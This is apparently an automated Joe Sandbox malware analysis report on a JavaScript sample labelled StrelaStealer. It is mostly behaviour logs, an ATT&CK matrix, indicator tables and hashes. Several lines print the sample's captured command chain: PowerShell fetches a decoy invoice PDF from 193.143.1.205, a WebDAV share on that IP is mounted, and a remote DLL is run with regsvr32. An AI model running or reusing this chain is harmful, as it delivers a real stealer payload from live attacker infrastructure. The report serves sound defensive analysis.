Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3721			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5844			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8156	Thread sleep count: 3721 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8144	Thread sleep count: 5844 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7328	Thread sleep time: -10145709240540247s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7380	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8140	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7400	Thread sleep time: -3689348814741908s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 7788	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 6612	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: net.exe, 00000007.00000002.1395480843.0000013276358000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWp
Source: net.exe, 00000007.00000002.1395764027.00000132763B9000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.2625668968.000001DC2102B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.2626892297.000001DC26659000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25657914731825.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25657914731825.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25657914731825.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25657914731825.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25657914731825.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	Junk Data	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	Steganography	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	Protocol Impersonation	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
18971281001132729595.js	5%	Virustotal		Browse
18971281001132729595.js	5%	ReversingLabs	Script-JS.Trojan.StrelaStealer

Source	Detection	Scanner	Label	Link
http://193.143.1.205:8888/b	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/6	0%	Avira URL Cloud	safe

Name	Source	Malicious	Antivirus Detection	Reputation
https://g.live.com/odclientsettings/Prod.C:	edb.log.9.dr, qmgr.db.9.dr	false		high
http://193.143.1.205/invoice.php	wscript.exe, 00000000.00000003.1328506654.000001F3AD942000.00000004.00000020.00020000.00000000.sdmp	false		high
http://crl.ver)	svchost.exe, 00000009.00000002.2626780869.000001DC26600000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.8.dr	false		high
https://g.live.com/odclientsettings/ProdV2.C:	svchost.exe, 00000009.00000003.1394161387.000001DC26430000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	false		high
https://www.adobe.co	ReaderMessages.5.dr	false		high
http://193.143.1.205:8888/6	net.exe, 00000007.00000003.1394015492.000001327638D000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1395616642.000001327638D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/	net.exe, 00000007.00000002.1395480843.0000013276358000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1394015492.000001327638D000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1390043571.00000132763AC000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1395616642.000001327638D000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/b	net.exe, 00000007.00000003.1394015492.000001327638D000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1395616642.000001327638D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588553
Start date and time:	2025-01-11 02:18:26 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 3s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	19
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	18971281001132729595.js
Detection:	MAL
Classification:	mal100.rans.spyw.expl.evad.winJS@27/61@0/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 2.23.240.205, 3.219.243.226, 3.233.129.217, 52.22.41.97, 52.6.155.20, 2.23.242.162, 162.159.61.3, 172.64.41.3, 23.209.209.135, 2.16.100.168, 88.221.110.91, 2.16.168.107, 2.16.168.105, 23.200.0.196, 23.200.0.173, 192.168.2.11, 13.107.246.45, 18.213.11.84, 20.12.23.50, 23.56.162.204
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, a767.dspw65.akamai.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, ocsp.digicert.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net, fs.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fe3cr.delivery.mp.microsoft.com, download.windowsupdate.com.edgesuite.net, armmf.adobe.com, geo2.adobe.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
20:19:27	API Interceptor	21x Sleep call for process: powershell.exe modified
20:19:31	API Interceptor	1x Sleep call for process: net.exe modified
20:19:31	API Interceptor	2x Sleep call for process: svchost.exe modified
20:19:39	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	2851627061208688962.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	168423236840504572.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	3097128047142338539.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	219751261441155514.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	142628891044814616.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	152068002360415087.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	15108208223119820474.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	4702309321830413443.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	11248212732259326130.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1907125702104121563.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	2851627061208688962.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	168423236840504572.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	17985298091058916725.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	3097128047142338539.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	219751261441155514.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	142628891044814616.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	152068002360415087.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	15108208223119820474.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	4702309321830413443.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	11248212732259326130.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.8008091631434472
Encrypted:	false
SSDEEP:	1536:CJD1YBdWK7S50AhnZ0Ag0ALzJVEbJBJlPVPEH3cNkPfF7Njg9QaQfOgFrGXuE5Td:CJC5rk0X+MbJ72D4qgfiaDhvO7VMBfm
MD5:	F2E6587FA58F06E0C76BAFAF7B0AFEA6
SHA1:	88EFBC3EA0785EAF53B25E6CBF83E86E9D7EFACF
SHA-256:	3A25EC7D90DF9F1392EDCC9A84C7CE0102EC52ED048891B499492757282349FF
SHA-512:	F58B08DFDDD37ACF7C5FA858FE92557BD81C8B6B6AD12828C12C4E71B1443E8054A24D916B0146076D7CA7C5313C16E9DCBA7A4FD7EAA824FC8E5DED9D9C3250
Malicious:	false
Preview:	dg".........@..@%9...{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@....................................T.....#.........`h.................h.......0.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
